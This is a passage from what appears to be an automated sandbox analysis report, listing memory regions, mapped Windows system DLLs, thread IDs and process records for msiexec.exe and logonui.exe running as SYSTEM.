Region: id = 5540 start_va = 0x7fefad20000 end_va = 0x7fefad30fff monitored = 0 entry_point = 0x7fefad214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 5541 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 5542 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5543 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5544 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 5545 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5546 start_va = 0x7fefb020000 end_va = 0x7fefb149fff monitored = 0 entry_point = 0x7fefb023810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 5547 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 5548 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5549 start_va = 0x7fefb1b0000 end_va = 0x7fefb1fafff monitored = 0 entry_point = 0x7fefb1befcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 5550 start_va = 0x7fefb200000 end_va = 0x7fefb20afff monitored = 0 entry_point = 0x7fefb201020 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 5551 start_va = 0x7fefb210000 end_va = 0x7fefb24afff monitored = 0 entry_point = 0x7fefb21f410 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 5552 start_va = 0x7fefb250000 end_va = 0x7fefb292fff monitored = 0 entry_point = 0x7fefb25c168 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 5553 start_va = 0x7fefb2a0000 end_va = 0x7fefb391fff monitored = 0 entry_point = 0x7fefb2cac20 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 5554 start_va = 0x7fefb3a0000 end_va = 0x7fefb5b4fff monitored = 0 entry_point = 0x7fefb5764b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 5555 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5556 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5557 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 5558 start_va = 0x7fefb9a0000 end_va = 0x7fefbaa9fff monitored = 0 entry_point = 0x7fefb9a1010 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 5559 start_va = 0x7fefbab0000 end_va = 0x7fefbc89fff monitored = 0 entry_point = 0x7fefbab3130 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 5560 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5561 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5562 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 5563 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5564 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5565 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5566 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5567 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5568 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5569 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5570 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5571 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5572 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5573 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5574 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5575 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5576 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5577 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5578 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5579 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5580 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5581 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5582 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5583 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5584 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5585 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5586 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5587 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5588 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5589 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5590 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5591 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 5592 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 5593 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 5594 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5595 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5596 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 5597 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 5662 start_va = 0x2bd0000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 5663 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 5664 start_va = 0x2cf0000 end_va = 0x2f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 5665 start_va = 0x3770000 end_va = 0x409ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 5701 start_va = 0x2880000 end_va = 0x2880fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\System32\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\imageres.dll.mui") Region: id = 5702 start_va = 0x28a0000 end_va = 0x28a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 5703 start_va = 0x28b0000 end_va = 0x28b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Region: id = 5710 start_va = 0x2890000 end_va = 0x2896fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 5711 start_va = 0x2940000 end_va = 0x2940fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 5712 start_va = 0x2940000 end_va = 0x2940fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002940000" filename = "" Thread: id = 520 os_tid = 0xbb0 Thread: id = 521 os_tid = 0xbac Thread: id = 522 os_tid = 0xba8 Thread: id = 523 os_tid = 0xba4 Thread: id = 524 os_tid = 0xba0 Thread: id = 525 os_tid = 0xb9c Thread: id = 526 os_tid = 0xb8c Thread: id = 527 os_tid = 0xbbc Process: id = "34" image_name = "msiexec.exe" filename = "c:\\windows\\syswow64\\msiexec.exe" page_root = "0x146e3000" os_pid = "0x3bc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xf30" cmd_line = "C:\\Windows\\syswow64\\MsiExec.exe -Embedding B1AA17B6CADF22F8EA6EA8DDAD295317 M Global\\MSI0000" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 5600 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5601 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5602 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5603 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5604 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5605 start_va = 0x1d0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5606 start_va = 0x260000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5607 start_va = 0xee0000 end_va = 0xef3fff monitored = 1 entry_point = 0xee3db0 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\SysWOW64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe") Region: id = 5608 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5609 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5610 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 5611 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 5612 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 5613 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 5614 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5615 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5616 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5617 start_va = 0x70000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5618 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5619 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5620 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5621 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5622 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5623 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5624 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 5625 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5626 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 5627 start_va = 0x2a0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5628 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5629 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5630 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5631 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5632 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5633 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5634 start_va = 0x130000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5635 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5636 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5637 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5638 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5639 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5640 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5641 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5642 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5643 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 5644 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 5645 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5646 start_va = 0x74470000 end_va = 0x746affff monitored = 0 entry_point = 0x744766bd region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 5647 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 5648 start_va = 0x2a0000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5649 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 5650 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5651 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5652 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5653 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5654 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Thread: id = 529 os_tid = 0xe50 Process: id = "35" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x11c24000" os_pid = "0xf04" os_integrity_level = "0x4000" os_privileges = "0x860b14080" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x174" cmd_line = "\"LogonUI.exe\" /flags:0x1" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 5721 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5722 start_va = 0x20000 end_va = 0x20fff 